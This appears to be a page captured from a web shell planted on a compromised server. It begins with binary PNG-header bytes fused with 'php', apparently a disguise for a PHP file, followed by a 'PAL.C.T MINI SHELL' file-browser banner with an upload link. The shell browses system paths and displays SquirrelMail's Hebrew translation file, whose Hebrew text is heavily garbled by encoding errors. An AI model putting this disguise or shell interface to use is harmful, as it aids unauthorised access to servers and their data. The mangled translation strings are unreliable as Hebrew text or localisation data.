‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/proc/self/root/usr/share/squirrelmail/locale/he_IL/LC_MESSAGES/
upload
files >> //proc/self/root/proc/self/root/usr/share/squirrelmail/locale/he_IL/LC_MESSAGES/squirrelmail.po

# Hebrew translation
# Copyright (c) 2002-2009 The SquirrelMail Project Team
# yoav <yoavb@zavit.net.il>, 2002.
#
msgid ""
msgstr ""
"Project-Id-Version: $Id: squirrelmail.po,v 1.1 2003/07/13 09:40:51 tokul Exp "
"$\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2005-04-16 19:47+0200\n"
"PO-Revision-Date: 2002-05-03 13:21+0200\n"
"Last-Translator: yoav <yoavb@zavit.net.il>\n"
"Language-Team: HEBREW <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

msgid "Address Book"
msgstr "ספר כתובות"

msgid "Name"
msgstr "ש×"

msgid "E-mail"
msgstr "כתובת דו×\"ל"

msgid "Info"
msgstr "מידע"

msgid "Source"
msgstr "מקור"

msgid "To"
msgstr "×ל"

msgid "Cc"
msgstr "העתקי×"

msgid "Bcc"
msgstr "×”×¢×ª×§×™× ×¢×™×•×•×¨×™×"

#, fuzzy
msgid "No persons matching your search were found"
msgstr "×œ× × ×ž×¦×ו ×ž×›×•×ª×‘×™× ×”×ž×ª××™×ž×™× ×œ×ª× ××™ החיפוש"

msgid "Search for"
msgstr "חפש ×ת"

msgid "in"
msgstr "ב"

msgid "All address books"
msgstr "כל ספרי הכתובות"

msgid "Search"
msgstr "חפש"

msgid "List all"
msgstr "הצג הכל"

msgid "Close"
msgstr "סגור"

#, php-format
msgid "Unable to list addresses from %s"
msgstr "×œ× ×™×›×•×œ להציג כתובות מ %s"

msgid "Your search failed with the following error(s)"
msgstr "החיפוש נכשל ×¢× ×”×©×’×™×ות הב×ות"

msgid "All"
msgstr "הכל"

msgid "Use Addresses"
msgstr "השתמש בכתובות"

#, fuzzy
msgid "Cancel"
msgstr "שנה"

msgid "Address Book Search"
msgstr "חיפוש בספר כתובות"

msgid "Return"
msgstr "חזור"

msgid "Nickname"
msgstr "כינוי"

msgid "Must be unique"
msgstr "חייב להיות ייחודי"

msgid "E-mail address"
msgstr "כתובת דו×\"ל"

msgid "Last name"
msgstr "×©× ×ž×©×¤×—×”"

msgid "First name"
msgstr "×©× ×¤×¨×˜×™"

msgid "Additional info"
msgstr "מידע נוסף"

#, fuzzy
msgid "Add to:"
msgstr "הוסף ל %s"

msgid "No personal address book is defined. Contact administrator."
msgstr "×œ× ×”×•×’×“×¨ ספר כתובות ×ישי. צור קשר ×¢× ×ž× ×”×œ המערכת."

msgid "You can only edit one address at the time"
msgstr "ביכולתך לערוך ספר כתובות ×חד בכל פע×"

msgid "Update address"
msgstr "עדכן כתובת"

msgid "ERROR"
msgstr "שגי××”"

msgid "Please select address that you want to edit"
msgstr ""

msgid "Add address"
msgstr "הוסף כתובת"

msgid "Edit selected"
msgstr "ערוך נבחרי×"

msgid "Delete selected"
msgstr "מחק נבחרי×"

#, php-format
msgid "Add to %s"
msgstr "הוסף ל %s"

#, php-format
msgid "%s wrote:"
msgstr ""

msgid "quote"
msgstr "ציטוט"

msgid "who"
msgstr "מי"

#, php-format
msgid "On %s, %s wrote:"
msgstr ""

msgid "Subject"
msgstr "נוש×"

msgid "From"
msgstr "מ×ת"

msgid "Date"
msgstr "ת×ריך"

msgid "Original Message"
msgstr "הודעה מקורית"

msgid "Draft Email Saved"
msgstr "טיוטת דו×\"ל נשמרה"

msgid "Could not move/copy file. File not attached"
msgstr "×œ× ×™×›×•×œ להעתיק/להעביר ×ת הקובץ. הקובץ ×œ× ×¦×•×¨×£."

msgid "Draft Saved"
msgstr "טיוטה נשמרה"

#, fuzzy
msgid "Your Message has been sent."
msgstr "הודעתך נשלחה"

msgid "From:"
msgstr "מ×ת:"

msgid "Send"
msgstr "שלח"

msgid "Attach:"
msgstr "צרף:"

msgid "Add"
msgstr "הוסף"

msgid "Delete selected attachments"
msgstr "מחק ×ž×¦×•×¨×¤×™× × ×‘×—×¨×™×"

msgid "Priority"
msgstr "עדיפות"

msgid "High"
msgstr "גבוהה"

msgid "Normal"
msgstr "רגילה"

msgid "Low"
msgstr "נמוכה"

msgid "Receipt"
msgstr "קבלה"

#, fuzzy
msgid "On Read"
msgstr "בקרי××”"

msgid "On Delivery"
msgstr "בשליחה"

msgid "Signature"
msgstr "חתימה"

msgid "Addresses"
msgstr "כתובות"

msgid "Save Draft"
msgstr "שמור טיוטה"

msgid "You have not filled in the \"To:\" field."
msgstr "×œ× ×ž×™×œ×ת ×ת שדה ×”-\"×ל\""

#, fuzzy, php-format
msgid "Error: Draft folder %s does not exist."
msgstr "משתמש '%s' ×ינו ×§×™×™×"

#, fuzzy
msgid "Server replied:"
msgstr "השרת השיב:"

msgid "Folders"
msgstr "תיקיות"

#, fuzzy
msgid "Subscribed successfully."
msgstr "נרשמת בהצלחה!"

#, fuzzy
msgid "Unsubscribed successfully."
msgstr "בטלת הרשמה בהצלחה!"

#, fuzzy
msgid "Deleted folder successfully."
msgstr "תיקיה נמחקה!"

#, fuzzy
msgid "Created folder successfully."
msgstr "התיקיה נוצרה!"

#, fuzzy
msgid "Renamed successfully."
msgstr "×”×©× ×©×•× ×” בהצלחה!"

msgid "Subscription Unsuccessful - Folder does not exist."
msgstr ""

msgid "refresh folder list"
msgstr "רענן רשימת תיקיות"

msgid "Create Folder"
msgstr "צור תיקיה"

msgid "as a subfolder of"
msgstr "כתת-תיקיה של"

msgid "None"
msgstr "כלו×"

msgid "Let this folder contain subfolders"
msgstr "×פשר לתיקיה זו להכיל תת-תיקיות"

msgid "Create"
msgstr "צור"

msgid "Rename a Folder"
msgstr "שנה ×©× ×ª×™×§×™×”"

msgid "Select a folder"
msgstr "בחר תיקיה"

msgid "Rename"
msgstr "שנה ש×"

msgid "No folders found"
msgstr "×œ× × ×ž×¦×ו תיקיות"

msgid "Delete Folder"
msgstr "מחק תיקיה"

msgid "Delete"
msgstr "מחק"

msgid "Unsubscribe"
msgstr "בטל הרשמה"

msgid "Subscribe"
msgstr "הרש×"

msgid "No folders were found to unsubscribe from!"
msgstr "×œ× × ×ž×¦×ו תיקיות לביטול הרשמה מהן!"

msgid "No folders were found to subscribe to!"
msgstr "×œ× × ×ž×¦×ו תיקיות ×œ×”×¨×©× ×ליהן!"

#, fuzzy
msgid "Subscribe to:"
msgstr "הרש×"

#, fuzzy
msgid "Illegal folder name. Please select a different name."
msgstr "×©× ×ª×™×§×™×” ×œ× ×—×•×§×™. ×× × ×‘×—×¨ ×©× ×חר."

msgid "Click here to go back"
msgstr "לחץ ×›×ן לחזור ×חורה"

msgid "You have not selected a folder to delete. Please do so."
msgstr "×œ× ×‘×—×¨×ª תיקיה למחיקה."

#, fuzzy, php-format
msgid "Are you sure you want to delete %s?"
msgstr "×”×× ×‘×¨×¦×•× ×š למחוק ×רוע ×–×”?"

msgid "Yes"
msgstr "כן"

msgid "No"
msgstr "ל×"

msgid "You have not selected a folder to rename. Please do so."
msgstr "×œ× ×‘×—×¨×ª תיקיה ×שר ברצונך לשנות ×ת שמה."

msgid "Rename a folder"
msgstr "שינוי ×©× ×ª×™×§×™×”"

msgid "New name:"
msgstr "×©× ×—×“×©:"

msgid "Submit"
msgstr "שלח"

msgid "ERROR: Help files are not in the right format!"
msgstr ""

msgid "Help"
msgstr "עזרה"

#, fuzzy, php-format
msgid ""
"The help has not been translated to %s. It will be displayed in English "
"instead."
msgstr "העזרה עדיין ×œ× ×ª×•×¨×’×ž×” ל %s. ×”×™× ×ª×•×¦×’ ב×נגלית ×‘×ž×§×•× ×–×ת."

msgid "Some or all of the help documents are not present!"
msgstr "חלק ×ו כל ממסמכי העזרה ×œ× × ×ž×¦×ו!"

msgid "Table of Contents"
msgstr "תוכן ×¢× ×™×™× ×™×"

msgid "Previous"
msgstr "הקוד×"

msgid "Next"
msgstr "הב×"

msgid "Top"
msgstr "למעלה"

msgid "Viewing an image attachment"
msgstr "מציג תמונה מצורפת"

msgid "View message"
msgstr "הצג הודעה"

msgid "Download this as a file"
msgstr "הורד כקובץ"

msgid "INBOX"
msgstr "דו×ר נכנס"

#, fuzzy
msgid "Purge"
msgstr "מחק"

msgid "Login"
msgstr "כניסה"

#, php-format
msgid "%s Logo"
msgstr "לוגו של %s"

#, php-format
msgid "SquirrelMail version %s"
msgstr "SquirrelMail ×’×™×¨×¡× %s"

#, fuzzy
msgid "By the SquirrelMail Project Team"
msgstr "ע\"י צוות הפיתוח של SquirrelMail"

#, php-format
msgid "%s Login"
msgstr "כניסה ל-%s"

msgid "Name:"
msgstr "×©× ×ž×©×ª×ž×©:"

msgid "Password:"
msgstr "סיסמ×:"

msgid "No messages were selected."
msgstr "×œ× × ×‘×—×¨×• הודעות."

msgid "Personal Information"
msgstr "מידע ×ישי"

msgid "Display Preferences"
msgstr "×פשרויות תצוגה"

msgid "Message Highlighting"
msgstr "הדגשת הודעות"

msgid "Folder Preferences"
msgstr "×פשרויות תיקיה"

msgid "Index Order"
msgstr "סידור"

msgid "Options"
msgstr "×פשרויות"

msgid "Error(s) occurred while saving your options"
msgstr ""

msgid "Some of your preference changes were not applied."
msgstr ""

msgid "Successfully Saved Options"
msgstr "×פשרויות נשמרו בהצלחה"

msgid "Refresh Folder List"
msgstr "רענן רשימת תיקיות"

msgid "Refresh Page"
msgstr "רענן דף"

msgid ""
"This contains personal information about yourself such as your name, your "
"email address, etc."
msgstr "דף ×–×” מכיל הגדרות ×ישיות כגון, שמך, כתובת דו×\"ל שלך וכ\"ו..."

msgid ""
"You can change the way that SquirrelMail looks and displays information to "
"you, such as the colors, the language, and other settings."
msgstr ""
"ביכולתך לשנות ×ת הגדרות התצוגה של תיבת הדו×ר שלך כגון צבעי×, שפה, ועוד..."

#, fuzzy
msgid ""
"Based upon given criteria, incoming messages can have different background "
"colors in the message list. This helps to easily distinguish who the "
"messages are from, especially for mailing lists."
msgstr ""
"ביכולתך לצבוע הודעות מסוימות בתיבת הדו×ר שלך לפי ×§×¨×™×˜×¨×™×•× ×™× ×©×•× ×™× (כגון ×©× "
"השולח, × ×•×©× ×”×”×•×“×¢×” וכ\"ו). ×פשרות זו עוזרת להבחין בדו×ר ×שר מגיע ממכותב "
"מסוי×, מכיל × ×•×©× ×ž×¡×•×™× ×•×¢×•×“..."

msgid ""
"These settings change the way your folders are displayed and manipulated."
msgstr "הגדרות ×לו משנות ×ת תצוגת התיקיות והצורה בה הן מנוהלות."

msgid ""
"The order of the message index can be rearranged and changed to contain the "
"headers in any order you want."
msgstr ""
"הצורה בה הודעות מסודרות ומדפסות ניתנת לסידור מחדש ולשינוי כך שיכילו ×ת "
"הכותרות שברצונך לר×ות."

msgid "New"
msgstr "חדש"

msgid "Done"
msgstr "סיי×"

msgid "To or Cc"
msgstr "×ל ×ו העתקי×"

msgid "subject"
msgstr "נוש×"

msgid "Edit"
msgstr "ערוך"

msgid "Up"
msgstr "למעלה"

msgid "Down"
msgstr "למטה"

msgid "No highlighting is defined"
msgstr "×œ× ×”×•×’×“×¨×• הדגשות"

msgid "Identifying name"
msgstr "×©× ×ž×ª×ר"

msgid "Color"
msgstr "צבע"

msgid "Dark Blue"
msgstr "כחול כהה"

msgid "Dark Green"
msgstr "ירוק כהה"

msgid "Dark Yellow"
msgstr "צהוב כהה"

msgid "Dark Cyan"
msgstr "תכלת כהה"

msgid "Dark Magenta"
msgstr "××“×•× ×›×”×”"

msgid "Light Blue"
msgstr "כחול בהיר"

msgid "Light Green"
msgstr "ירוק בהיר"

msgid "Light Yellow"
msgstr "צהוב בהיר"

msgid "Light Cyan"
msgstr "תכלת בהיר"

msgid "Light Magenta"
msgstr "××“×•× ×‘×”×™×¨"

msgid "Dark Gray"
msgstr "×פור ×›×”×”"

msgid "Medium Gray"
msgstr "×פור בינוני"

msgid "Light Gray"
msgstr "×פור בהיר"

msgid "White"
msgstr "לבן"

msgid "Other:"
msgstr "×חר:"

msgid "Ex: 63aa7f"
msgstr "לדוגמ×: 63aa7f"

msgid "Matches"
msgstr "הת×× ×œ×˜×§×¡×˜"

#, php-format
msgid "Alternate Identity %d"
msgstr "זהות משנית %d"

msgid "Advanced Identities"
msgstr "זהויות מרובות"

msgid "Default Identity"
msgstr "זהות ברירת-מחדל"

msgid "Add a New Identity"
msgstr "הוסף זהות חדשה"

msgid "Full Name"
msgstr "×©× ×ž×œ×"

msgid "E-Mail Address"
msgstr "כתובת דו×\"ל"

msgid "Reply To"
msgstr "השב ×ל"

msgid "Save / Update"
msgstr "שמור \\ עדכן"

msgid "Make Default"
msgstr "הפוך לברירת מחדל"

msgid "Move Up"
msgstr "העבר למעלה"

msgid "Checkbox"
msgstr "תיבת בחירה"

msgid "Flags"
msgstr "סימון"

msgid "Size"
msgstr "גודל"

#, fuzzy
msgid ""
"The index order is the order that the columns are arranged in the message "
"index. You can add, remove, and move columns around to customize them to fit "
"your needs."
msgstr ""
"ביכולתך לשנות ×ת הסדר של העמודות בתיבת הדו×ר. ביכולתך להוסיף, להוריד ×ו "
"להזיז עמודות."

msgid "up"
msgstr "העלה"

msgid "down"
msgstr "הורד"

msgid "remove"
msgstr "הסר"

msgid "Return to options page"
msgstr "חזור לדף ×פשרויות"

msgid "Message not printable"
msgstr "ההודעה ×œ× × ×™×ª× ×ª להדפסה"

msgid "Invalid URL"
msgstr ""

msgid "Printer Friendly"
msgstr "גירס×ת הדפסה"

msgid "Print"
msgstr "הדפס"

msgid "View Printable Version"
msgstr "הצג גירס×ת הדפסה"

msgid "Read:"
msgstr "נקר×:"

msgid "Your message"
msgstr "ההודעה שלך"

#, fuzzy
msgid "Sent"
msgstr "נשלח:"

#, php-format
msgid "Was displayed on %s"
msgstr "× ×§×¨× ×‘ %s"

msgid "less"
msgstr "פחות"

msgid "more"
msgstr "יותר"

#, fuzzy
msgid "Unknown sender"
msgstr "שולח ×œ× ×™×“×•×¢"

msgid "Mailer"
msgstr "תכנית דיוור"

msgid "Read receipt"
msgstr "קבלה על קרי××”"

#, fuzzy
msgid "sent"
msgstr "שלח"

msgid "requested"
msgstr "מבוקש"

msgid ""
"The message sender has requested a response to indicate that you have read "
"this message. Would you like to send a receipt?"
msgstr ""
"השולח של ההודעה ביקש שתשלח קבלה בעת קרי×ת ההודעה. ×”×× ×‘×¨×¦×•× ×š לשלוח ×לי קבלה "
"כעת?"

msgid "Send read receipt now"
msgstr "שלח קבלה על קרי××” עכשיו"

msgid "Search Results"
msgstr "תוצ×ות חיפוש"

msgid "Message List"
msgstr "רשימת הודעות"

msgid "Resume Draft"
msgstr "המשך טיוטה"

msgid "Edit Message as New"
msgstr "ערוך הודעה כחדשה"

#, fuzzy
msgid "View Message"
msgstr "הצג הודעה"

msgid "Forward"
msgstr "הפץ"

#, fuzzy
msgid "Forward as Attachment"
msgstr "מצורפי×"

msgid "Reply"
msgstr "השב"

msgid "Reply All"
msgstr "השב לכל"

msgid "View Full Header"
msgstr "הצג כל הכותרות"

msgid "Attachments"
msgstr "מצורפי×"

msgid "You must be logged in to access this page."
msgstr "עליך להכנס למערכת בכדי לר×ות דף ×–×”."

msgid "Folder:"
msgstr "תיקיה:"

msgid "edit"
msgstr "ערוך"

msgid "search"
msgstr "חיפוש"

msgid "delete"
msgstr "מחק"

msgid "Recent Searches"
msgstr "×—×™×¤×•×©×™× ×חרוני×"

msgid "save"
msgstr "שמור"

msgid "forget"
msgstr "שכח"

msgid "Current Search"
msgstr "חיפוש נוכחי"

msgid "All Folders"
msgstr "כל התיקיות"

msgid "Body"
msgstr "גוף ההודעה"

msgid "Everywhere"
msgstr "כל השדות"

msgid "No Messages Found"
msgstr "×œ× × ×ž×¦×ו הודעות"

#, fuzzy
msgid "Signout"
msgstr "התנתק"

msgid "Sign Out"
msgstr "התנתק"

msgid "You have been successfully signed out."
msgstr "התנתקת מהמערכת בהצלחה."

msgid "Click here to log back in."
msgstr "לחץ ×›×ן בכדי להתחבר מחדש."

msgid "Viewing a Business Card"
msgstr "מציג כרטיס ביקור"

#, php-format
msgid ""
"vCard Version %s is not supported. Some information might not be converted "
"correctly."
msgstr ""

msgid "Title"
msgstr "כותרת"

msgid "Email"
msgstr "דו×\"ל"

msgid "Web Page"
msgstr "דף בית"

msgid "Organization / Department"
msgstr "×ירגון \\ מחלקה"

msgid "Address"
msgstr "כתובת"

msgid "Work Phone"
msgstr "טלפון בעבודה"

msgid "Home Phone"
msgstr "טלפון בבית"

msgid "Cellular Phone"
msgstr "טלפון סלולרי"

msgid "Fax"
msgstr "פקס"

msgid "Note"
msgstr "פתק"

msgid "Add to Addressbook"
msgstr "הוסף לספר כתובות"

msgid "Title & Org. / Dept."
msgstr "תו×ר ו×רגון \\ מחלקה"

#, fuzzy
msgid "Add to Address Book"
msgstr "הוסף לספר כתובות"

msgid "Viewing Full Header"
msgstr "מציג כל הכותרות"

msgid "Viewing a text attachment"
msgstr "מציג טקסט מצורף"

msgid ""
"Could not include PEAR database functions required for the database backend."
msgstr ""

#, php-format
msgid "Is PEAR installed, and is the include path set correctly to find %s?"
msgstr ""

msgid "Please contact your system administrator and report this error."
msgstr "×× × ×¦×•×¨ קשר ×¢× ×ž× ×”×œ המערכת ודווח על שגי××” זו."

msgid "Personal address book"
msgstr "ספר כתובות ×ישי"

#, php-format
msgid "Database error: %s"
msgstr "שגי×ת מסד נתוני×: %s"

msgid "Addressbook is read-only"
msgstr "ספר כתובות ×”×•× ×œ×§×¨×™××” בלבד"

#, php-format
msgid "User '%s' already exist"
msgstr "משתמש '%s' כבר ×§×™×™×"

#, php-format
msgid "User '%s' does not exist"
msgstr "משתמש '%s' ×ינו ×§×™×™×"

msgid "Not a file name"
msgstr "×œ× ×©× ×§×•×‘×¥"

msgid "No such file or directory"
msgstr "קובץ ×ו ספרייה ×‘×©× ×–×” ×ינו ×§×™×™×"

msgid "Open failed"
msgstr "פתיחה נכשלה"

#, fuzzy
msgid "Write failed"
msgstr "פתיחה נכשלה"

#, fuzzy
msgid "Unable to update"
msgstr "שמור \\ עדכן"

msgid "Could not lock datafile"
msgstr "×œ× ×™×›×•×œ לנעול ×ת קובץ המידע"

msgid "Write to addressbook failed"
msgstr "כתיבה לספר כתובות נכשלה"

msgid "Error initializing addressbook database."
msgstr "שגי××” ב×תחול מסד ×”× ×ª×•× ×™× ×©×œ ספר הכתובות."

#, php-format
msgid "Error opening file %s"
msgstr "שגי××” בפתיחת קובץ %s"

msgid "Global address book"
msgstr "ספר כתובות כללי"

msgid "Error initializing global addressbook."
msgstr "שגי××” ב×תחול ספר כתובות כללי."

#, php-format
msgid "Error initializing LDAP server %s:"
msgstr "שגי××” ב×תחול שרת LDAP %s:"

msgid "Invalid input data"
msgstr "מידע קלט שגוי"

msgid "Name is missing"
msgstr "×©× ×—×¡×¨"

msgid "E-mail address is missing"
msgstr "דו×\"ל חסר"

msgid "Nickname contains illegal characters"
msgstr "כינוי מכיל ×ª×•×•×™× ×œ× ×—×•×§×™×™×"

#, fuzzy
msgid "View"
msgstr "הצג"

#, fuzzy
msgid "View Business Card"
msgstr "מציג כרטיס ביקור"

msgid "Sunday"
msgstr "ר×שון"

msgid "Monday"
msgstr "שני"

msgid "Tuesday"
msgstr "שלישי"

msgid "Wednesday"
msgstr "רביעי"

msgid "Thursday"
msgstr "חמישי"

msgid "Friday"
msgstr "שישי"

msgid "Saturday"
msgstr "שבת"

#, fuzzy
msgid "Sun"
msgstr "ר×שון"

#, fuzzy
msgid "Mon"
msgstr "שני"

#, fuzzy
msgid "Tue"
msgstr "שלישי"

msgid "Wed"
msgstr ""

msgid "Thu"
msgstr ""

#, fuzzy
msgid "Fri"
msgstr "שישי"

msgid "Sat"
msgstr ""

msgid "January"
msgstr "ינו×ר"

msgid "February"
msgstr "פברו×ר"

msgid "March"
msgstr "מרץ"

msgid "April"
msgstr "×פריל"

msgid "May"
msgstr "מ××™"

msgid "June"
msgstr "יוני"

msgid "July"
msgstr "יולי"

msgid "August"
msgstr "×וגוסט"

msgid "September"
msgstr "ספטמבר"

msgid "October"
msgstr "×וקטובר"

msgid "November"
msgstr "נובמבר"

msgid "December"
msgstr "דצמבר"

#, fuzzy
msgid "Jan"
msgstr "ינו×ר"

msgid "Feb"
msgstr ""

#, fuzzy
msgid "Mar"
msgstr "מרץ"

#, fuzzy
msgid "Apr"
msgstr "×פריל"

msgid "Ma&#121;"
msgstr ""

#, fuzzy
msgid "Jun"
msgstr "יוני"

#, fuzzy
msgid "Jul"
msgstr "יולי"

#, fuzzy
msgid "Aug"
msgstr "×וגוסט"

msgid "Sep"
msgstr ""

#, fuzzy
msgid "Oct"
msgstr "×וקטובר"

#, fuzzy
msgid "Nov"
msgstr "ל×"

msgid "Dec"
msgstr ""

msgid "D, F j, Y g:i a"
msgstr "l, j F, Y a g:i"

#, fuzzy
msgid "D, F j, Y H:i"
msgstr "l, j F, Y G:i"

msgid "M j, Y"
msgstr "j M, Y"

msgid "g:i a"
msgstr "a g:i"

#, fuzzy
msgid "H:i"
msgstr "G:i"

msgid "D, g:i a"
msgstr "l, a g:i"

#, fuzzy
msgid "D, H:i"
msgstr "l, G:i"

#, php-format
msgid "Preference database error (%s). Exiting abnormally"
msgstr "שגי×ת מסד × ×ª×•× ×™× ×©×œ ההגדרות (%s). ×™×•×¦× ×‘×¦×•×¨×” ×בנורמלית."

#, php-format
msgid "Click here to return to %s"
msgstr "לחץ ×›×ן בכדי לחזור ל-%s"

msgid "Go to the login page"
msgstr "לך לדף הכניסה"

#, php-format
msgid ""
"Preference file, %s, does not exist. Log out, and log back in to create a "
"default preference file."
msgstr ""
"קובץ ההגדרות, %s, ×ינו ×§×™×™×. התנתק, והכנס מחדש בכדי ליצור קובץ הגדרות ברירת "
"מחדש."

#, fuzzy, php-format
msgid ""
"Preference file, %s, could not be opened. Contact your system administrator "
"to resolve this issue."
msgstr "×× × ×¦×•×¨ קשר ×¢× ×ž× ×”×œ המערכת ודווח על שגי××” זו."

#, fuzzy, php-format
msgid ""
"Preference file, %s, could not be written. Contact your system administrator "
"to resolve this issue."
msgstr "×× × ×¦×•×¨ קשר ×¢× ×ž× ×”×œ המערכת ודווח על שגי××” זו."

#, fuzzy, php-format
msgid ""
"Preference file, %s, could not be copied from temporary file, %s. Contact "
"your system administrator to resolve this issue."
msgstr "×× × ×¦×•×¨ קשר ×¢× ×ž× ×”×œ המערכת ודווח על שגי××” זו."

#, php-format
msgid "Error opening %s"
msgstr "שגי××” בפתיחת %s"

#, fuzzy
msgid "Default preference file not found or not readable!"
msgstr "קובץ הגדרות ברירת מחדל ×œ× × ×ž×¦×!"

msgid "Could not create initial preference file!"
msgstr "×œ× ×™×›×•×œ ליצור קובץ הגדרות ר×שוני!"

#, php-format
msgid "%s should be writable by user %s"
msgstr "המשתמש %s זקוק להרש×ות כתיבה על %s"

#, fuzzy
msgid "Signature is too big."
msgstr "×פשרויות חתימה"

#, fuzzy, php-format
msgid ""
"Signature file, %s, could not be opened. Contact your system administrator "
"to resolve this issue."
msgstr "×× × ×¦×•×¨ קשר ×¢× ×ž× ×”×œ המערכת ודווח על שגי××” זו."

#, fuzzy, php-format
msgid ""
"Signature file, %s, could not be written. Contact your system administrator "
"to resolve this issue."
msgstr "×× × ×¦×•×¨ קשר ×¢× ×ž× ×”×œ המערכת ודווח על שגי××” זו."

#, fuzzy, php-format
msgid ""
"Signature file, %s, could not be copied from temporary file, %s. Contact "
"your system administrator to resolve this issue."
msgstr "×× × ×¦×•×¨ קשר ×¢× ×ž× ×”×œ המערכת ודווח על שגי××” זו."

msgid ""
"You need to have php4 installed with the multibyte string function enabled "
"(using configure option --enable-mbstring)."
msgstr ""

msgid "ERROR: No available IMAP stream."
msgstr ""

#, fuzzy
msgid "ERROR: Connection dropped by IMAP server."
msgstr "שגי××” בהתחברות לשרת IMAP: %s"

#, fuzzy
msgid "ERROR: Could not complete request."
msgstr "שגי××”: ×œ× ×™×›×•×œ ×œ×”×©×œ×™× ×‘×§×©×”."

msgid "Query:"
msgstr "בקשה:"

#, fuzzy
msgid "Reason Given:"
msgstr "סיבה:"

#, fuzzy
msgid "ERROR: Bad or malformed request."
msgstr "שגי××”: בקשה שגויה."

#, fuzzy
msgid "Server responded:"
msgstr "השרת השיב:"

msgid "ERROR: IMAP server closed the connection."
msgstr ""

msgid "ERROR: Unknown IMAP response."
msgstr ""

#, php-format
msgid "Error connecting to IMAP server: %s."
msgstr "שגי××” בהתחברות לשרת IMAP: %s"

msgid "The IMAP server is reporting that plain text logins are disabled."
msgstr ""

msgid "Using CRAM-MD5 or DIGEST-MD5 authentication instead may work."
msgstr ""

msgid "Also, the use of TLS may allow SquirrelMail to login."
msgstr ""

#, php-format
msgid "Bad request: %s"
msgstr "בקשה שגויה: %s"

#, php-format
msgid "Unknown error: %s"
msgstr "שגי××” ×œ× ×™×“×•×¢×”: %s"

msgid "Read data:"
msgstr "מידע נקר×:"

msgid "Unknown user or password incorrect."
msgstr "×©× ×ž×©×ª×ž×© ×ו ×¡×™×¡×ž× ××™× × × ×›×•× ×™×."

#, fuzzy
msgid "ERROR: Could not append message to"
msgstr "שגי××”: ×œ× ×™×›×•×œ ×œ×”×©×œ×™× ×‘×§×©×”."

#, fuzzy
msgid "Solution:"
msgstr "הצעות:"

msgid ""
"Remove unneccessary messages from your folder and start with your Trash "
"folder."
msgstr ""

msgid "(no subject)"
msgstr "(×œ×œ× × ×•×©×)"

msgid "Unknown Sender"
msgstr "שולח ×œ× ×™×“×•×¢"

#, fuzzy
msgid "Unknown response from IMAP server:"
msgstr "תשובה ×œ× ×™×“×•×¢×” משרת IMAP: "

msgid "The server couldn't find the message you requested."
msgstr ""

msgid ""
"Most probably your message list was out of date and the message has been "
"moved away or deleted (perhaps by another program accessing the same "
"mailbox)."
msgstr ""

#, fuzzy
msgid "Unknown date"
msgstr "שולח ×œ× ×™×“×•×¢"

msgid "A"
msgstr "×¢"

msgid "Thread sorting is not supported by your IMAP server."
msgstr ""

msgid "Server-side sorting is not supported by your IMAP server."
msgstr ""

msgid "THIS FOLDER IS EMPTY"
msgstr "התיקיה ריקה"

#, fuzzy
msgid "Move Selected To"
msgstr "העבר נבחרות ×ל:"

msgid "Transform Selected Messages"
msgstr "שנה הודעות נבחרות"

msgid "Move"
msgstr "העבר"

msgid "Expunge"
msgstr "מחק"

msgid "mailbox"
msgstr "תיבת דו×ר"

msgid "Read"
msgstr "נקר×"

msgid "Unread"
msgstr "×œ× × ×§×¨×"

msgid "Unthread View"
msgstr "×œ×œ× ×—×œ×•×§×” לדפי×"

msgid "Thread View"
msgstr "חלוקה לדפי×"

msgid "Toggle All"
msgstr "סמן הכל"

msgid "Unselect All"
msgstr "הסר סימון מהכל"

msgid "Select All"
msgstr "בחר הכל"

#, fuzzy, php-format
msgid "Viewing Messages: %s to %s (%s total)"
msgstr "מציג הודעות: <b>%s</b> עד <b>%s</b> (%s בסה\"כ)"

#, fuzzy, php-format
msgid "Viewing Message: %s (%s total)"
msgstr "מציג הודעה: <b>%s</b> (1 בסה\"כ)"

msgid "Paginate"
msgstr "מספר עמודי×"

msgid "Show All"
msgstr "הצג הכל"

msgid "SquirrelMail could not decode the bodystructure of the message"
msgstr ""

msgid "the provided bodystructure by your imap-server"
msgstr ""

#, fuzzy
msgid ""
"Body retrieval error. The reason for this is most probably that the message "
"is malformed."
msgstr ""
"שגי××” ב×חזור גוף ההודעה. קרוב לווד××™ שהסביה נובעת מגוף הודעה מעוות. ×× × ×¢×–×•×¨ "
"לנו בשיפור גרס×ות עתידיות ×¢\"×™ שליחת הודעה זו למ×גר המידע של המפתחי×!"

msgid "Command:"
msgstr "פקודה:"

msgid "Response:"
msgstr "תשובה:"

msgid "Message:"
msgstr "הודעה:"

msgid "FETCH line:"
msgstr "שורת FETCH:"

msgid "Hide Unsafe Images"
msgstr "הסתר תמונות ×œ× ×‘×˜×•×—×•×ª"

msgid "View Unsafe Images"
msgstr "הצג תמונות ×œ× ×‘×˜×•×—×•×ª"

#, fuzzy
msgid "Download"
msgstr "הורד"

msgid "sec_remove_eng.png"
msgstr "sec_remove_he_IL.png"

msgid "This external link will open in a new window"
msgstr ""

#, php-format
msgid "Option Type '%s' Not Found"
msgstr "×œ× × ×ž×¦××” ×פשרות מסוג '%s'"

msgid "Current Folder"
msgstr "תיקיה נוכחית"

msgid "Compose"
msgstr "הודעה חדשה"

#, php-format
msgid "Error creating directory %s."
msgstr "שגי××” ביצירת הספרייה %s."

msgid "Could not create hashed directory structure!"
msgstr "×œ× ×™×›×•×œ ליצור ספרייה בעלת מבנה משורשר!"

msgid "Service not available, closing channel"
msgstr ""

msgid "A password transition is needed"
msgstr ""

msgid "Requested mail action not taken: mailbox unavailable"
msgstr ""

msgid "Requested action aborted: error in processing"
msgstr ""

msgid "Requested action not taken: insufficient system storage"
